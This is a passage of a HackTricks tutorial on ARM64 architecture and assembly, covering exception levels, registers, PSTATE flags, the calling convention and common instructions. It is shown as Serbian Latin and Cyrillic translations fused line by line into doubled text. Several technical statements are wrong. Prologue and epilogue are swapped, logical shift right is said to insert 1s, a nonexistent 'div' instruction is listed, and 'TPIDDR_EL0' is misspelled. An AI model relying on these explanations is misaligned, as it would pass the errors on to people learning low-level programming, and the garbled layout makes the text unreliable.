* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! * Проверите [**планове претплате**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Придружите се** 💬 [**Discord групи**](https://discord.gg/hRep4RUj7f) или [**telegram групи**](https://t.me/peass) или **пратите** нас на **Твитеру** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. * **Поделите хакерске трикове подношењем PR-ова на** [**HackTricks**](https://github.com/carlospolop/hacktricks) и [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторијима.
</details> </details>
{% endhint %} {% endhint %}
## **Nivoi izuzetaka - EL (ARM64v8)** ## **Нивои изузетака - EL (ARM64v8)**
U ARMv8 arhitekturi, nivoi izvršenja, poznati kao Nivoi izuzetaka (ELs), definišu nivo privilegija i mogućnosti izvršnog okruženja. Postoje četiri nivoa izuzetaka, od EL0 do EL3, pri čemu svaki služi različitoj svrsi: У ARMv8 архитектури, нивои извршења, познати као нивои изузетака (EL), дефинишу ниво привилегија и способности извршног окружења. Постоје четири нивоа изузетака, од EL0 до EL3, од којих сваки служи различитој сврси:
1. **EL0 - Korisnički režim**: 1. **EL0 - Кориснички режим**:
* Ovo je nivo sa najmanje privilegija i koristi se za izvršavanje redovnog aplikativnog koda. * Ово је најмање привилегован ниво и користи се за извршавање редовног кода апликација.
* Aplikacije koje se izvršavaju na EL0 su izolovane jedna od druge i od sistemskog softvera, što poboljšava bezbednost i stabilnost. * Апликације које раде на EL0 су изоловане једна од друге и од системског софтвера, што побољшава безбедност и стабилност.
2. **EL1 - Režim jezgra operativnog sistema**: 2. **EL1 - Режим језгра оперативног система**:
* Većina jezgara operativnih sistema radi na ovom nivou. * Већина језгара оперативних система ради на овом нивоу.
* EL1 ima više privilegija od EL0 i može pristupiti sistemskim resursima, ali uz određena ograničenja radi očuvanja integriteta sistema. * EL1 има више привилегија од EL0 и може приступити системским ресурсима, али уз нека ограничења ради очувања интегритета система.
3. **EL2 - Režim hipervizora**: 3. **EL2 - Режим хипервизора**:
* Ovaj nivo se koristi za virtualizaciju. Hipervizor koji radi na EL2 može upravljati sa više operativnih sistema (svaki u svom EL1) koji se izvršavaju na istom fizičkom hardveru. * Овај ниво се користи за виртуализацију. Хипервизор који ради на EL2 може управљати више оперативних система (сваки у свом EL1) који раде на истом физичком хардверу.
* EL2 pruža funkcije za izolaciju i kontrolu virtualizovanih okruženja. * EL2 пружа функције за изолацију и контролу виртуализованих окружења.
4. **EL3 - Režim sigurnosnog monitora**: 4. **EL3 - Режим сигурног монитора**:
* Ovo je najprivilegovaniji nivo i često se koristi za sigurno podizanje sistema i poverljiva izvršna okruženja. * Ово је најпривилегованији ниво и често се користи за сигурно покретање и поверење у извршна окружења.
* EL3 može upravljati i kontrolisati pristupe između sigurnih i nesigurnih stanja (kao što su sigurno podizanje, poverljivi OS, itd.). * EL3 може управљати и контролисати приступе између сигурних и несигурних стања (као што су сигурно покретање, поверење у ОС, итд.).
Korišćenje ovih nivoa omogućava struktuiran i siguran način upravljanja različitim aspektima sistema, od korisničkih aplikacija do najprivilegovanijeg sistemskog softvera. Pristup ARMv8 privilegijama pomaže u efikasnoj izolaciji različitih komponenti sistema, čime se poboljšava bezbednost i pouzdanost sistema. Користење ових нивоа омогућава структурисан и сигуран начин управљања различитим аспектима система, од корисничких апликација до најпривилегованијег системског софтвера. Приступ ARMv8 нивима привилегија помаже у ефикасном изоловању различитих компоненти система, чиме се побољшава безбедност и робусност система.
## **Registri (ARM64v8)** ## **Регистри (ARM64v8)**
ARM64 ima **31 registar opšte namene**, označenih kao `x0` do `x30`. Svaki može čuvati vrednost od **64 bita** (8 bajtova). Za operacije koje zahtevaju samo vrednosti od 32 bita, isti registri mogu se pristupiti u režimu od 32 bita koristeći imena w0 do w30. ARM64 има **31 регистар опште намене**, обележен `x0` до `x30`. Сваки може да чува **64-битну** (8-бајтну) вредност. За операције које захтевају само 32-битне вредности, исти регистри могу бити доступни у 32-битном режиму користећи имена w0 до w30.
1. **`x0`** do **`x7`** - Ovi se obično koriste kao registri za prolazak i prosleđivanje parametara podrutinama. 1. **`x0`** до **`x7`** - Ови се обично користе као регистри за привремене податке и за пренос параметара у подпрограме.
* **`x0`** takođe nosi povratne podatke funkcije. * **`x0`** такође носи повратне податке функције
2. **`x8`** - U Linux jezgru, `x8` se koristi kao broj sistema poziva za `svc` instrukciju. **Na macOS-u se koristi x16!** 2. **`x8`** - У Linux језгру, `x8` се користи као број системског позива за `svc` инструкцију. **У macOS, x16 је тај који се користи!**
3. **`x9`** do **`x15`** - Dodatni privremeni registri, često korišćeni za lokalne promenljive. 3. **`x9`** до **`x15`** - Више привремених регистара, често се користе за локалне променљиве.
4. **`x16`** i **`x17`** - **Registri poziva unutar procedure**. Privremeni registri za neposredne vrednosti. Koriste se i za indirektne pozive funkcija i PLT (Procedure Linkage Table) stubove. 4. **`x16`** и **`x17`** - **Регистри за позиве унутар процедура**. Привремени регистри за одмах вредности. Такође се користе за индиректне позиве функција и PLT (Табела повезивања процедура).
* **`x16`** se koristi kao **broj sistema poziva** za **`svc`** instrukciju na **macOS-u**. * **`x16`** се користи као **број системског позива** за **`svc`** инструкцију у **macOS**.
5. **`x18`** - **Registar platforme**. Može se koristiti kao registar opšte namene, ali na nekim platformama, ovaj registar je rezervisan za specifične potrebe platforme: Pokazivač na trenutni blok okruženja niti u Windows-u, ili pokazivač na trenutno **izvršnu strukturu zadatka u jezgru Linux-a**. 5. **`x18`** - **Регистар платформе**. Може се користити као регистар опште намене, али на неким платформама, овај регистар је резервисан за платформски специфичне намене: Показивач на блок окружења тренутне нит у Windows-у, или да укаже на тренутну **структуру извршавања задатка у linux језгру**.
6. **`x19`** do **`x28`** - Ovo su registri sačuvani za pozvane funkcije. Funkcija mora sačuvati vrednosti ovih registara za svog pozivaoca, pa se čuvaju na steku i vraćaju pre povratka pozivaocu. 6. **`x19`** до **`x28`** - Ово су регистри које чува позвана функција. Функција мора да очува вредности ових регистара за свог позиваоца, тако да се чувају на стеку и опорављају пре него што се врати позиваоцу.
7. **`x29`** - **Pokazivač okvira** za praćenje okvira steka. Kada se kreira novi okvir steka jer je funkcija pozvana, **`x29`** registar se **čuva na steku** i nova adresa okvira (**adresa `sp`**) se **čuva u ovom registru**. 7. **`x29`** - **Показивач оквира** за праћење оквира стека. Када се креира нови оквир стека јер је функција позвана, **`x29`** регистар се **чува на стеку** и **нова** адреса показивача оквира (**`sp`** адреса) се **чува у овом регистру**.
* Ovaj registar takođe može se koristiti kao **registar opšte namene**, iako se obično koristi kao referenca na **lokalne promenljive**. * Овај регистар се такође може користити као **регистар опште намене** иако се обично користи као референца на **локалне променљиве**.
8. **`x30`** ili **`lr`**- **Registar linka**. Čuva **adresu povratka** kada se izvrši `BL` (Branch with Link) ili `BLR` (Branch with Link to Register) instrukcija čuvajući vrednost **`pc`** u ovom registru. 8. **`x30`** или **`lr`**- **Регистар за повратак**. Држи **адресу повратка** када се извршава `BL` (Гранка са повратком) или `BLR` (Гранка са повратком у регистар) инструкција чувајући **`pc`** вредност у овом регистру.
* Može se koristiti kao i svaki drugi registar. * Може се користити и као било који други регистар.
* Ako trenutna funkcija namerava pozvati novu funkciju i time prepisati `lr`, čuvaće je na steku na početku, ovo je epilog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Čuvanje `fp` i `lr`, generisanje prostora i dobijanje novog `fp`) i vraćaće je na kraju, ovo je prolog (`ldp x29, x30, [sp], #48; ret` -> Vraćanje `fp` i `lr` i povratak). * Ако тренутна функција позива нову функцију и стога ће преоптеретити `lr`, чуваће је на стеку на почетку, ово је епилог (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Чува `fp` и `lr`, генерише простор и добија нови `fp`) и опорављаће је на крају, ово је пролог (`ldp x29, x30, [sp], #48; ret` -> Опоравља `fp` и `lr` и враћа).
9. **`sp`** - **Pokazivač steka**, koristi se za praćenje vrha steka. 9. **`sp`** - **Показивач стека**, користи се за праћење врха стека.
* Vrednost **`sp`** uvek treba da bude sačuvana na bar **quadword** **poravnanju** ili može doći do greške poravnanja. * Вредност **`sp`** треба увек да буде одржавана на најмање **квадратно** **поредио** или може доћи до изузетка у поређењу.
10. **`pc`** - **Brojač programa**, koji pokazuje na sledeću instrukciju. Ovaj registar se može ažurirati samo putem generisanja izuzetaka, povratka izuzetaka i skokova. Jedine obične instrukcije koje mogu čitati ovaj registar su instrukcije skoka sa linkom (BL, BLR) za čuvanje adrese **`pc`** u **`lr`** (Registar linka). 10. **`pc`** - **Бројач програма**, који указује на следећу инструкцију. Овај регистар може бити ажуриран само кроз генерисање изузетака, повратке изузетака и гране. Једине обичне инструкције које могу читати овај регистар су инструкције гране са повратком (BL, BLR) да чувају **`pc`** адресу у **`lr`** (Регистар за повратак).
11. **`xzr`** - **Registar nula**. Takođe nazvan **`wzr`** u svom obliku registra od **32** bita. Može se koristiti za lako dobijanje nule (uobičajena operacija) ili za obavljanje poređenja koristeći **`subs`** kao **`subs XZR, Xn, #10`** čuvajući rezultujuće podatke nigde (u **`xzr`**). 11. **`xzr`** - **Нулти регистар**. Такође се зове **`wzr`** у 32-битном регистарном облику. Може се користити за лако добијање нулте вредности (обична операција) или за извршавање поређења користећи **`subs`** као **`subs XZR, Xn, #10`** чувајући резултујуће податке нигде (у **`xzr`**).
Registri **`Wn`** su **32bit** verzija registra **`Xn`**. Регистри **`Wn`** су **32-битна** верзија регистара **`Xn`**.
### SIMD i Registri za plutanje sa pokretnim zarezom ### SIMD и регистри за покретне тачке
Pored toga, postoje još **32 registra dužine od 128 bita** koji se mogu koristiti u optimizovanim operacijama jedne instrukcije sa više podataka (SIMD) i za obavljanje aritmetike sa pokretnim zarezom. Oni se nazivaju Vn registri iako mogu raditi i u **64**-bitnom, **32**-bitnom, **16**-bitnom i **8**-bitnom režimu, tada se nazivaju **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** i **`Bn`**. Штавише, постоји још **32 регистра дужине 128бит** који се могу користити у оптимизованим операцијама једне инструкције више података (SIMD) и за извршавање аритметике покретних тачака. Ови се зову Vn регистри иако могу радити и у **64**-битном, **32**-битном, **16**-битном и **8**-битном режиму и тада се зову **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** и **`Bn`**.
### Registri sistema
**Postoje stotine sistema registara**, takođe nazvanih registri specijalne namene (SPR), koji se koriste za **praćenje** i **kontrolu** **ponašanja procesora**.\ ### Системски регистри
Mogu se samo čitati ili postavljati korišćenjem posvećene specijalne instrukcije **`mrs`** i **`msr`**.
Specijalni registri **`TPIDR_EL0`** i **`TPIDDR_EL0`** često se nalaze prilikom reverznog inženjeringa. Sufiks `EL0` označava **minimalni izuzetak** iz kojeg se registar može pristupiti (u ovom slučaju EL0 je redovni nivo izuzetka (privilegija) sa kojim se izvršavaju redovni programi).\ **Постоје стотине системских регистара**, такође познатих као регистри специјалне намене (SPRs), који се користе за **праћење** и **контролу** **понашања** **процесора**.\
Često se koriste za čuvanje **bazne adrese regiona memorije za lokalno skladištenje niti**. Obično je prvi čitljiv i zapisiv za programe koji se izvršavaju u EL0, ali drugi se može čitati iz EL0 i pisati iz EL1 (kao kernel). Могу се читати или постављати само помоћу посебних инструкција **`mrs`** и **`msr`**.
* `mrs x0, TPIDR_EL0 ; Čitanje TPIDR_EL0 u x0` Посебни регистри **`TPIDR_EL0`** и **`TPIDDR_EL0`** се често налазе током реверзног инжењеринга. Суфикс `EL0` указује на **минимално изузеће** из ког се регистар може приступити (у овом случају EL0 је редован ниво изузећа (привилегија) на коме редовни програми раде).\
* `msr TPIDR_EL0, X0 ; Pisanje x0 u TPIDR_EL0` Често се користе за чување **основне адресе области локалне меморије**. Обично је први читљив и записив за програме који раде у EL0, али други се може читати из EL0 и записивати из EL1 (као језгро).
* `mrs x0, TPIDR_EL0 ; Чита TPIDR_EL0 у x0`
* `msr TPIDR_EL0, X0 ; Записује x0 у TPIDR_EL0`
### **PSTATE** ### **PSTATE**
**PSTATE** sadrži nekoliko procesnih komponenti serijalizovanih u operativnom sistemu vidljiv **`SPSR_ELx`** specijalni registar, gde je X **nivo dozvole izazvanog** izuzetka (ovo omogućava vraćanje stanja procesa kada izuzetak završi).\ **PSTATE** садржи неколико компоненти процеса серијализованих у регистру специјалне намене видљивом оперативном систему **`SPSR_ELx`**, где је X **ниво** **дозволе** **изазваног** изузећа (ово омогућава опоравак стања процеса када изузеће заврши).\
Ovo su pristupačna polja: Ово су доступна поља:
<figure><img src="../../../.gitbook/assets/image (1196).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1196).png" alt=""><figcaption></figcaption></figure>
* Zastave uslova **`N`**, **`Z`**, **`C`** i **`V`**: * **`N`**, **`Z`**, **`C`** и **`V`** условне заставице:
* **`N`** znači da je operacija dala negativan rezultat * **`N`** значи да је операција дала негативан резултат
* **`Z`** znači da je operacija dala nulu * **`Z`** значи да је операција дала нулу
* **`C`** znači da je operacija izvršena * **`C`** значи да је операција пренела
* **`V`** znači da je operacija dala prekoračenje sa znakom: * **`V`** значи да је операција дала потписано преливање:
* Zbir dva pozitivna broja daje negativan rezultat. * Збир два позитивна броја даје негативан резултат.
* Zbir dva negativna broja daje pozitivan rezultat. * Збир два негативна броја даје позитиван резултат.
* Pri oduzimanju, kada se od manjeg pozitivnog broja oduzme veći negativni broj (ili obrnuto), i rezultat ne može biti predstavljen unutar opsega datog veličinom bita. * У одузимању, када се велики негативан број одузима од мањег позитивног броја (или обрнуто), а резултат не може бити представљен у опсегу дате величине бита.
* Očigledno je da procesor ne zna da li je operacija sa znakom ili ne, pa će proveriti C i V u operacijama i ukazati na prenos ako se dogodio u slučaju da je bio sa znakom ili bez znaka. * Очигледно, процесор не зна да ли је операција потписана или не, па ће проверити C и V у операцијама и указати да ли је дошло до преноса у случају да је било потписано или непотписано.
{% hint style="warning" %} {% hint style="warning" %}
Nisu sve instrukcije ažuriraju ove zastave. Neke poput **`CMP`** ili **`TST`** to rade, a druge koje imaju sufiks s poput **`ADDS`** takođe to rade. Нису све инструкције ажурирале ове заставице. Неке као **`CMP`** или **`TST`** то раде, а друге које имају s суфикс као **`ADDS`** такође то раде.
{% endhint %} {% endhint %}
* Trenutna zastava **širine registra (`nRW`)**: Ako zastava ima vrednost 0, program će se izvršavati u AArch64 stanju izvršenja nakon nastavka. * Тренутна **заставица ширине регистра (`nRW`)**: Ако застава држи вредност 0, програм ће се извршавати у AArch64 извршном стању када се поново покрене.
* Trenutni **nivo izuzetka** (**`EL`**): Redovan program koji se izvršava u EL0 imaće vrednost 0 * Тренутни **Ниво изузетака** (**`EL`**): Редован програм који ради у EL0 ће имати вредност 0
* Zastava za **jedan korak** (**`SS`**): Koristi se od strane debagera za jednokorakno izvršavanje postavljanjem SS zastave na 1 unutar **`SPSR_ELx`** putem izuzetka. Program će izvršiti korak i izdati izuzetak jednog koraka. * **Заставица појединачног корака** (**`SS`**): Користи се од стране дебагера за појединачно корачење постављајући SS заставицу на 1 унутар **`SPSR_ELx`** кроз изузеће. Програм ће извршити корак и изазвати изузеће појединачног корака.
* Zastava za **nevažeći izuzetak** (**`IL`**): Koristi se za označavanje kada privilegovani softver izvrši nevažeći prenos nivoa izuzetka, ova zastava se postavlja na 1 i procesor pokreće izuzetak nevažećeg stanja. * **Заставица нелегалног изузетка** (**`IL`**): Користи се за означавање када привилегисани софтвер изврши неважећи пренос нивоа изузетка, ова застава се поставља на 1 и процесор активира нелегално стање изузетка.
* Zastave **`DAIF`**: Ove zastave omogućavaju privilegovanom programu selektivno maskiranje određenih spoljnih izuzetaka. * **`DAIF`** заставице: Ове заставице омогућавају привилегисаном програму да селективно маскира одређена спољна изузећа.
* Ako je **`A`** 1 to znači da će biti pokrenuti **asinhroni prekidi**. **`I`** konfiguriše odgovor na spoljne hardverske **zahteve za prekidima** (IRQ), a F je povezano sa **brzim zahtevima za prekidima** (FIR). * Ако је **`A`** 1, то значи да ће бити активирани **асинхрони прекиди**. **`I`** конфигурише одговор на спољне захтеве за прекид хардвера (IRQ). и F је повезан са **брзим захтевима за прекид** (FIR).
* Zastave za **izbor pokazivača steka (`SPS`)**: Privilegovani programi koji se izvršavaju u EL1 i više mogu da prebacuju između korišćenja svog registra pokazivača steka i korisničkog modela (npr. između `SP_EL1` i `EL0`). Ovo prebacivanje se vrši upisivanjem u specijalni registar **`SPSel`**. Ovo se ne može uraditi iz EL0. * **Заставице избора показивача стека** (**`SPS`**): Привилегисани програми који раде у EL1 и изнад могу да прелазе између коришћења свог регистара показивача стека и корисничког модела (нпр. између `SP_EL1` и `EL0`). Ова прелазак се изводи писањем у **`SPSel`** посебан регистар. Ово не може бити учињено из EL0.
## **Konvencija pozivanja (ARM64v8)** ## **Конвенција позива (ARM64v8)**
ARM64 konvencija pozivanja specificira da se **prva osam parametara** funkcije prosleđuju u registre **`x0` do `x7`**. **Dodatni** parametri se prosleđuju na **steku**. Povratna vrednost se vraća u registru **`x0`**, ili u **`x1`** takođe **ako je duža od 128 bita**. Registri **`x19`** do **`x30`** i **`sp`** moraju biti **sačuvani** prilikom poziva funkcije. ARM64 конвенција позива спецификује да се **првих осам параметара** функције преноси у регистрима **`x0` до `x7`**. **Додатни** параметри се преносе на **стеку**. **Вредност** **повратка** се враћа у регистар **`x0`**, или у **`x1`** ако је **дужине 128 бит**. Регистри **`x19`** до **`x30`** и **`sp`** морају бити **очувани** током позива функција.
Prilikom čitanja funkcije u sklopu, potražite **prolog funkcije i epilog**. **Prolog** obično uključuje **čuvanje pokazivača okvira (`x29`)**, **postavljanje** novog **pokazivača okvira**, i **dodeljivanje prostora steka**. **Epilog** obično uključuje **vraćanje sačuvanog pokazivača okvira** i **izlazak** iz funkcije. Када читате функцију у асемблеру, потражите **пролог и епилог функције**. **Пролог** обично укључује **чување показивача оквира (`x29`)**, **постављање** новог **показивача оквира**, и **алокацију простора на стеку**. **Епилог** обично укључује **враћање сачуваног показивача оквира** и **враћање** из функције.
### Konvencija pozivanja u Swift-u ### Конвенција позива у Swift
Swift ima svoju **konvenciju pozivanja** koja se može pronaći na [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) Swift има своју **конвенцију позива** која се може наћи на [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
## **Uobičajene instrukcije (ARM64v8)** ## **Уобичајене инструкције (ARM64v8)**
ARM64 instrukcije generalno imaju **format `opcode dst, src1, src2`**, gde je **`opcode`** operacija koja treba da se izvrši (kao što su `add`, `sub`, `mov`, itd.), **`dst`** je **odredišni** registar gde će rezultat biti smešten, a **`src1`** i **`src2`** su **izvorni** registri. Neposredne vrednosti takođe mogu biti korišćene umesto izvornih registara. ARM64 инструкције обично имају **формат `opcode dst, src1, src2`**, где је **`opcode`** **операција** која се извршава (као што су `add`, `sub`, `mov`, итд.), **`dst`** је **регистар дестинације** у који ће бити сачуван резултат, а **`src1`** и **`src2`** су **изворни** регистри. Одмах вредности се такође могу користити уместо изворних регистара.
* **`mov`**: **Premeštanje** vrednosti iz jednog **registra** u drugi. * **`mov`**: **Премести** вредност из једног **регистра** у други.
* Primer: `mov x0, x1` — Ovo premešta vrednost iz `x1` u `x0`. * Пример: `mov x0, x1` — Ово премешта вредност из `x1` у `x0`.
* **`ldr`**: **Učitavanje** vrednosti iz **memorije** u **registar**. * **`ldr`**: **Учитај** вредност из **меморије** у **регистар**.
* Primer: `ldr x0, [x1]` — Ovo učitava vrednost sa lokacije memorije na koju pokazuje `x1` u `x0`. * Пример: `ldr x0, [x1]` — Ово учитава вредност из меморијске локације на коју указује `x1` у `x0`.
* **Mod sa pomerajem**: Pomeraj koji utiče na pokazivač je naznačen, na primer: * **Режим офсет**: Офсет који утиче на оригинални показивач је назначен, на пример:
* `ldr x2, [x1, #8]`, ovo će učitati u x2 vrednost iz x1 + 8 * `ldr x2, [x1, #8]`, ово ће учитати у x2 вредност из x1 + 8
* `ldr x2, [x0, x1, lsl #2]`, ovo će učitati u x2 objekat iz niza x0, sa pozicije x1 (indeks) \* 4 * `ldr x2, [x0, x1, lsl #2]`, ово ће учитати у x2 објекат из низа x0, из позиције x1 (индекс) \* 4
* **Mod pre indeksa**: Ovo će primeniti izračunavanja na početni, dobiti rezultat i takođe sačuvati novi početak u početku. * **Режим пред-индикатора**: Ово ће применити израчунавања на оригинал, добити резултат и такође сачувати нови оригинал у оригиналу.
* `ldr x2, [x1, #8]!`, ovo će učitati `x1 + 8` u `x2` i sačuvati u x1 rezultat `x1 + 8` * `ldr x2, [x1, #8]!`, ово ће учитати `x1 + 8` у `x2` и сачувати у x1 резултат `x1 + 8`
* `str lr, [sp, #-4]!`, Sačuvajte registar linka u sp i ažurirajte registar sp * `str lr, [sp, #-4]!`, Сачувајте регистар за повратак у sp и ажурирајте регистар sp
* **Mod posle indeksa**: Slično prethodnom, ali se pristupa memoriji, a zatim se izračunava i čuva pomeraj. * **Режим пост-индикатора**: Ово је као претходни, али се меморијска адреса приступа и затим се офсет израчунава и чува.
* `ldr x0, [x1], #8`, učitaj `x1` u `x0` i ažuriraj x1 sa `x1 + 8` * `ldr x0, [x1], #8`, учитајте `x1` у `x0` и ажурирајте x1 са `x1 + 8`
* **Adresa relativna prema PC registru**: U ovom slučaju adresa za učitavanje se računa relativno prema PC registru * **PC-релативно адресирање**: У овом случају адреса за учитавање се израчунава релативно на PC регистар
* `ldr x1, =_start`, Ovo će učitati adresu gde počinje simbol `_start` u x1 u odnosu na trenutni PC. * `ldr x1, =_start`, Ово ће учитати адресу где симбол `_start` почиње у x1 у односу на тренутни PC.
* **`str`**: **Čuvanje** vrednosti iz **registra** u **memoriju**. * **`str`**: **Сачувајте** вредност из **регистра** у **меморију**.
* Primer: `str x0, [x1]` — Ovo čuva vrednost iz `x0` na lokaciji memorije na koju pokazuje `x1`. * Пример: `str x0, [x1]` — Ово чува вредност у `x0` у меморијској локацији на коју указује `x1`.
* **`ldp`**: **Učitavanje para registara**. Ova instrukcija **učitava dva registra** iz **uzastopnih lokacija memorije**. Adresa memorije se obično formira dodavanjem pomeraja vrednosti u drugom registru. * **`ldp`**: **Учитај пар регистара**. Ова инструкција **учитава два регистра** из **узастопних меморијских** локација. Меморијска адреса се обично формира додавањем офсета вредности у другом регистру.
* Primer: `ldp x0, x1, [x2]` — Ovo učitava `x0` i `x1` sa lokacija memorije na `x2` i `x2 + 8`, redom. * Пример: `ldp x0, x1, [x2]` — Ово учитава `x0` и `x1` из меморијских локација на `x2` и `x2 + 8`, респективно.
* **`stp`**: **Čuvanje para registara**. Ova instrukcija **čuva dva registra** na **uzastopnim lokacijama memorije**. Adresa memorije se obično formira dodavanjem pomeraja vrednosti u drugom registru. * **`stp`**: **Сачувај пар регистара**. Ова инструкција **сачува два регистра** у **узастопне меморијске** локације. Меморијска адреса се обично формира додавањем офсета вредности у другом регистру.
* Primer: `stp x0, x1, [sp]` — Ovo čuva `x0` i `x1` na lokacijama memorije na `sp` i `sp + 8`, redom. * Пример: `stp x0, x1, [sp]` — Ово чува `x0` и `x1` у меморијским локацијама на `sp` и `sp + 8`, респективно.
* `stp x0, x1, [sp, #16]!`Ovo čuva `x0` i `x1` na lokacijama memorije na `sp+16` i `sp + 24`, redom, i ažurira `sp` sa `sp+16`. * `stp x0, x1, [sp, #16]!`Ово чува `x0` и `x1` у меморијским локацијама на `sp+16` и `sp + 24`, респективно, и ажурира `sp` са `sp+16`.
* **`add`**: **Sabiranje** vrednosti dva registra i smeštanje rezultata u registar. * **`add`**: **Додајте** вредности два регистра и сачувајте резултат у регистру.
* Sintaksa: add(s) Xn1, Xn2, Xn3 | #imm, \[pomeraj #N | RRX\] * Синтакса: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
* Xn1 -> Destinacija * Xn1 -> Дестинација
* Xn2 -> Operand 1 * Xn2 -> Операнд 1
* Xn3 | #imm -> Operand 2 (registar ili neposredno) * Xn3 | #imm -> Операнд 2 (регистар или одмах)
* \[pomeraj #N | RRX\] -> Izvrši pomeraj ili pozovi RRX * \[shift #N | RRX] -> Извршите померање или позовите RRX
* Primer: `add x0, x1, x2` — Ovo sabira vrednosti u `x1` i `x2` i čuva rezultat u `x0`. * Пример: `add x0, x1, x2` — Ово додаје вредности у `x1` и `x2` и чува резултат у `x0`.
* `add x5, x5, #1, lsl #12`Ovo je jednako 4096 (jedinica pomerena 12 puta) -> 1 0000 0000 0000 0000 * `add x5, x5, #1, lsl #12`Ово је једнако 4096 (1 померач 12 пута) -> 1 0000 0000 0000 0000
* **`adds`** Ovo vrši `add` i ažurira zastave * **`adds`** Ово извршава `add` и ажурира заставице
* **`sub`**: **Oduzmi** vrednosti dva registra i čuvaj rezultat u registru. * **`sub`**: **Одузмите** вредности два регистра и сачувајте резултат у регистру.
* Proveri **sintaksu za `add`**. * Проверите **`add`** **синтаксу**.
* Primer: `sub x0, x1, x2` — Ovo oduzima vrednost u `x2` od `x1` i čuva rezultat u `x0`. * Пример: `sub x0, x1, x2` — Ово одузима вредност у `x2` од `x1` и чува резултат у `x0`.
* **`subs`** Ovo je kao sub ali ažurira zastavu * **`subs`** Ово је као sub али ажурира заставицу
* **`mul`**: **Množi** vrednosti **dva registra** i čuva rezultat u registru. * **`mul`**: **Множење** вредности **два регистра** и чување резултата у регистру.
* Primer: `mul x0, x1, x2` — Ovo množi vrednosti u `x1` i `x2` i čuva rezultat u `x0`. * Пример: `mul x0, x1, x2` — Ово множење вредности у `x1` и `x2` и чува резултат у `x0`.
* **`div`**: **Deljenje** vrednosti jednog registra sa drugim i čuva rezultat u registru. * **`div`**: **Делите** вредност једног регистра са другим и чувајте резултат у регистру.
* Primer: `div x0, x1, x2` — Ovo deli vrednost u `x1` sa `x2` i čuva rezultat u `x0`. * Пример: `div x0, x1, x2` — Ово дели вредност у `x1` са `x2` и чува резултат у `x0`.
* **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**: * **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
* **Logički pomeraj levo**: Dodaj 0 sa kraja pomerajući ostale bitove unapred (množi sa n puta 2) * **Логичко померање налево**: Додајте 0 из краја померајући остале битове напред (множите са n-пута 2)
* **Logički pomeraj desno**: Dodaj 1 na početak pomerajući ostale bitove unazad (deli sa n puta 2 kod nepotpisanog) * **Логичко померање удесно**: Додајте 1 на почетку померајући остале битове назад (делите са n-пута 2 у непотписаним)
* **Aritmetički pomeraj desno**: Kao **`lsr`**, ali umesto dodavanja 0 ako je najznačajniji bit 1, \*\*dodaju se 1 (\*\*deli sa n puta 2 kod potpisanog) * **Аритметичко померање удесно**: Као **`lsr`**, али уместо додавања 0, ако је најзначајнији бит 1, **додају се 1** (делите са n-пута 2 у потписаним)
* **Rotacija udesno**: Kao **`lsr`** ali šta god je uklonjeno sa desne strane se dodaje na levo * **Померите удесно**: Као **`lsr`** али шта год да се уклони с десне стране, додаје се с леве
* **Rotacija udesno sa proširenjem**: Kao **`ror`**, ali sa zastavicom prenosa kao "najznačajnijim bitom". Tako da se zastavica prenosa pomera na bit 31 i uklonjeni bit na zastavicu. * **Померите удесно са проширењем**: Као **`ror`**, али са заставицом преноса као "најзначајнији бит". Дакле, преносна застава се помера на бит 31, а уклоњени бит у преносну заставу.
* **`bfm`**: **Pomeraj bitova**, ove operacije **kopiraju bitove `0...n`** iz vrednosti i smeštaju ih na pozicije **`m..m+n`**. **`#s`** određuje **najlevlji bit** poziciju i **`#r`** broj **rotacija udesno**. * **`bfm`**: **Премештање битова**, ове операције **копирају битове `0...n`** из вредности и стављају их у позиције **`m..m+n`**. **`#s`** одређује **леву најзначајнију позицију бита**, а **`#r`** количину ротације удесно.
* Pomeraj bitova: `BFM Xd, Xn, #r` * Премештање битова: `BFM Xd, Xn, #r`
* Potpisani pomeraj bitova: `SBFM Xd, Xn, #r, #s` * Потписано премештање битова: `SBFM Xd, Xn, #r, #s`
* Nepotpisani pomeraj bitova: `UBFM Xd, Xn, #r, #s` * Непотписано премештање битова: `UBFM Xd, Xn, #r, #s`
* **Ekstrakcija i umetanje bitova:** Kopira bitovno polje iz registra i kopira ga u drugi registar. * **Извлачење и уметање битова:** Копира битно поље из регистра и копира га у други регистар.
* **`BFI X1, X2, #3, #4`** Umetni 4 bita iz X2 od 3. bita X1 * **`BFI X1, X2, #3, #4`** Уметните 4 бита из X2 из 3. бита X1
* **`BFXIL X1, X2, #3, #4`** Ekstraktuj četiri bita od 3. bita X2 i kopiraj ih u X1 * **`BFXIL X1, X2, #3, #4`** Извлачи из 3. бита X2 четири бита и копира их у X1
* **`SBFIZ X1, X2, #3, #4`** Proširi znak 4 bita iz X2 i umetni ih u X1 počevši od bita 3, nulirajući desne bitove * **`SBFIZ X1, X2, #3, #4`** Потписано проширује 4 бита из X2 и умета их у X1 почињући на позицији бита 3 нулирајући десне битове
* **`SBFX X1, X2, #3, #4`** Ekstraktuje 4 bita počevši od bita 3 iz X2, proširuje znak i smešta rezultat u X1 * **`SBFX X1, X2, #3, #4`** Извлачи 4 бита почињући на биту 3 из X2, потписано их проширује и ставља резултат у X1
